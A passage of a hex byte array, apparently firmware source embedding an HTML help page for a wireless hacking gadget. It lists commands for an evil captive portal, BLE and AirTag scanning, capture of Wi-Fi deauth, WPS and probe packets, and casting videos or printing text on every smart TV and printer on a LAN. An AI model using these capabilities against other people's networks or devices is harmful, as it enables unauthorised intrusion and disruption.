0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x73, 0x74, 0x6F, 0x70, 0x70, 0x6F, 0x72, 0x74, 0x61, - 0x6C, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x6F, 0x70, 0x20, 0x74, 0x68, 0x65, 0x20, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, 0x65, - 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x73, 0x74, 0x6F, 0x70, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x62, 0x6C, 0x65, 0x73, 0x63, 0x61, 0x6E, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x20, 0x42, 0x4C, - 0x45, 0x20, 0x73, 0x63, 0x61, 0x6E, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x77, 0x69, 0x74, 0x68, 0x20, 0x76, 0x61, 0x72, 0x69, 0x6F, 0x75, 0x73, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x73, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, - 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x62, 0x6C, 0x65, 0x73, 0x63, 0x61, 0x6E, 0x20, 0x5B, 0x4F, 0x50, 0x54, 0x49, 0x4F, 0x4E, 0x5D, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3C, 0x62, 0x72, - 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x41, - 0x72, 0x67, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x73, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x66, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x27, 0x46, 0x69, 0x6E, 0x64, - 0x20, 0x74, 0x68, 0x65, 0x20, 0x46, 0x6C, 0x69, 0x70, 0x70, 0x65, 0x72, 0x73, 0x27, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x64, 0x73, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x42, 0x4C, 0x45, - 0x20, 0x73, 0x70, 0x61, 0x6D, 0x20, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x61, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x41, 0x69, 0x72, 0x54, 0x61, 0x67, 0x20, 0x73, 0x63, - 0x61, 0x6E, 0x6E, 0x65, 0x72, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, - 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x72, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, 0x63, 0x61, 0x6E, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x72, 0x61, 0x77, 0x20, 0x42, 0x4C, 0x45, 0x20, 0x70, 0x61, 0x63, 0x6B, 0x65, 0x74, 0x73, - 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, - 0x2D, 0x73, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x6F, 0x70, 0x20, 0x42, 0x4C, 0x45, 0x20, 0x73, 0x63, 0x61, 0x6E, 0x6E, 0x69, 0x6E, 0x67, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, - 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x63, 0x61, 0x70, 0x74, 0x75, 0x72, 0x65, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x61, 0x20, 0x57, 0x69, 0x2D, 0x46, 0x69, 0x20, 0x63, - 0x61, 0x70, 0x74, 0x75, 0x72, 0x65, 0x20, 0x28, 0x72, 0x65, 0x71, 0x75, 0x69, 0x72, 0x65, 0x73, 0x20, 0x53, 0x44, 0x20, 0x63, 0x61, 0x72, 0x64, 0x20, 0x6F, 0x72, 0x20, 0x46, 0x6C, 0x69, 0x70, 0x70, 0x65, 0x72, 0x20, 0x64, 0x65, 0x76, 0x69, - 0x63, 0x65, 0x29, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, - 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x63, 0x61, 0x70, 0x74, 0x75, 0x72, 0x65, 0x20, 0x5B, 0x4F, 0x50, 0x54, - 0x49, 0x4F, 0x4E, 0x5D, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x41, 0x72, 0x67, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x73, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x70, 0x72, 0x6F, 0x62, 0x65, 0x3C, 0x2F, - 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x63, 0x61, 0x70, 0x74, 0x75, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x70, 0x72, 0x6F, 0x62, 0x65, 0x20, 0x70, 0x61, 0x63, 0x6B, 0x65, 0x74, 0x73, 0x3C, 0x62, 0x72, 0x3E, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x62, 0x65, 0x61, - 0x63, 0x6F, 0x6E, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x63, 0x61, 0x70, 0x74, 0x75, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x62, 0x65, 0x61, 0x63, 0x6F, 0x6E, 0x20, 0x70, 0x61, 0x63, 0x6B, 0x65, - 0x74, 0x73, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, - 0x65, 0x3E, 0x2D, 0x64, 0x65, 0x61, 0x75, 0x74, 0x68, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x63, 0x61, 0x70, 0x74, 0x75, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x64, 0x65, 0x61, 0x75, 0x74, 0x68, - 0x20, 0x70, 0x61, 0x63, 0x6B, 0x65, 0x74, 0x73, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x72, 0x61, 0x77, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x63, 0x61, 0x70, 0x74, 0x75, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x72, 0x61, 0x77, - 0x20, 0x70, 0x61, 0x63, 0x6B, 0x65, 0x74, 0x73, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x77, 0x70, 0x73, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x63, 0x61, 0x70, 0x74, 0x75, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x57, 0x50, 0x53, - 0x20, 0x70, 0x61, 0x63, 0x6B, 0x65, 0x74, 0x73, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x74, 0x68, 0x65, 0x69, 0x72, 0x20, 0x61, 0x75, 0x74, 0x68, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x70, 0x77, 0x6E, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, - 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x63, 0x61, 0x70, 0x74, 0x75, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x50, 0x77, 0x6E, 0x61, 0x67, 0x6F, 0x74, 0x63, 0x68, 0x69, 0x20, 0x70, 0x61, 0x63, 0x6B, 0x65, 0x74, 0x73, 0x3C, 0x62, 0x72, 0x3E, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x73, 0x74, 0x6F, 0x70, - 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x6F, 0x70, 0x20, 0x74, 0x68, 0x65, 0x20, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x20, 0x63, 0x61, 0x70, 0x74, 0x75, 0x72, 0x65, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x43, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x20, 0x74, 0x6F, 0x20, - 0x61, 0x20, 0x73, 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x63, 0x20, 0x57, 0x69, 0x2D, 0x46, 0x69, 0x20, 0x6E, 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, - 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x20, 0x26, 0x6C, 0x74, 0x3B, 0x53, 0x53, 0x49, 0x44, 0x26, 0x67, 0x74, 0x3B, 0x20, 0x26, 0x6C, 0x74, 0x3B, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6F, - 0x72, 0x64, 0x26, 0x67, 0x74, 0x3B, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, - 0x2F, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x64, 0x69, 0x61, 0x6C, 0x63, 0x6F, 0x6E, 0x6E, - 0x65, 0x63, 0x74, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x43, 0x61, 0x73, 0x74, 0x20, 0x61, 0x20, 0x72, 0x61, 0x6E, 0x64, 0x6F, 0x6D, 0x20, 0x59, 0x6F, 0x75, 0x54, 0x75, 0x62, 0x65, 0x20, 0x76, 0x69, 0x64, 0x65, - 0x6F, 0x20, 0x6F, 0x6E, 0x20, 0x61, 0x6C, 0x6C, 0x20, 0x73, 0x6D, 0x61, 0x72, 0x74, 0x20, 0x54, 0x56, 0x73, 0x20, 0x6F, 0x6E, 0x20, 0x79, 0x6F, 0x75, 0x72, 0x20, 0x4C, 0x41, 0x4E, 0x20, 0x28, 0x72, 0x65, 0x71, 0x75, 0x69, 0x72, 0x65, 0x73, - 0x20, 0x79, 0x6F, 0x75, 0x20, 0x74, 0x6F, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x20, 0x66, 0x69, 0x72, 0x73, 0x74, 0x29, 0x2E, - 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, - 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x64, 0x69, 0x61, 0x6C, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x3C, 0x2F, 0x63, 0x6F, 0x64, - 0x65, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x70, 0x6F, 0x77, 0x65, 0x72, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, - 0x67, 0x3E, 0x3A, 0x20, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x20, 0x63, 0x75, 0x73, 0x74, 0x6F, 0x6D, 0x20, 0x74, 0x65, 0x78, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x61, 0x20, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x6F, 0x6E, 0x20, 0x79, 0x6F, - 0x75, 0x72, 0x20, 0x4C, 0x41, 0x4E, 0x20, 0x28, 0x72, 0x65, 0x71, 0x75, 0x69, 0x72, 0x65, 0x73, 0x20, 0x79, 0x6F, 0x75, 0x20, 0x74, 0x6F, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, - 0x74, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x20, 0x66, 0x69, 0x72, 0x73, 0x74, 0x29, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, - 0x70, 0x6F, 0x77, 0x65, 0x72, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x26, 0x6C, 0x74, 0x3B, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x49, 0x50, 0x26, 0x67, 0x74, 0x3B, 0x20, 0x26, 0x6C, 0x74, 0x3B, 0x54, 0x65, 0x78, 0x74, - 0x26, 0x67, 0x74, 0x3B, 0x20, 0x26, 0x6C, 0x74, 0x3B, 0x46, 0x6F, 0x6E, 0x74, 0x53, 0x69, 0x7A, 0x65, 0x26, 0x67, 0x74, 0x3B, 0x20, 0x26, 0x6C, 0x74, 0x3B, 0x41, 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x26, 0x67, 0x74, 0x3B, 0x3C, - 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x41, 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x20, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, 0x43, 0x4D, 0x20, 0x3D, - 0x20, 0x43, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x4D, 0x69, 0x64, 0x64, 0x6C, 0x65, 0x2C, 0x20, 0x54, 0x4C, 0x20, 0x3D, 0x20, 0x54, 0x6F, 0x70, 0x20, 0x4C, 0x65, 0x66, 0x74, 0x2C, 0x20, 0x54, 0x52, 0x20, 0x3D, 0x20, 0x54, 0x6F, 0x70, 0x20, - 0x52, 0x69, 0x67, 0x68, 0x74, 0x2C, 0x20, 0x42, 0x52, 0x20, 0x3D, 0x20, 0x42, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x20, 0x52, 0x69, 0x67, 0x68, 0x74, 0x2C, 0x20, 0x42, 0x4C, 0x20, 0x3D, 0x20, 0x42, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x20, 0x4C, 0x65, - 0x66, 0x74, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 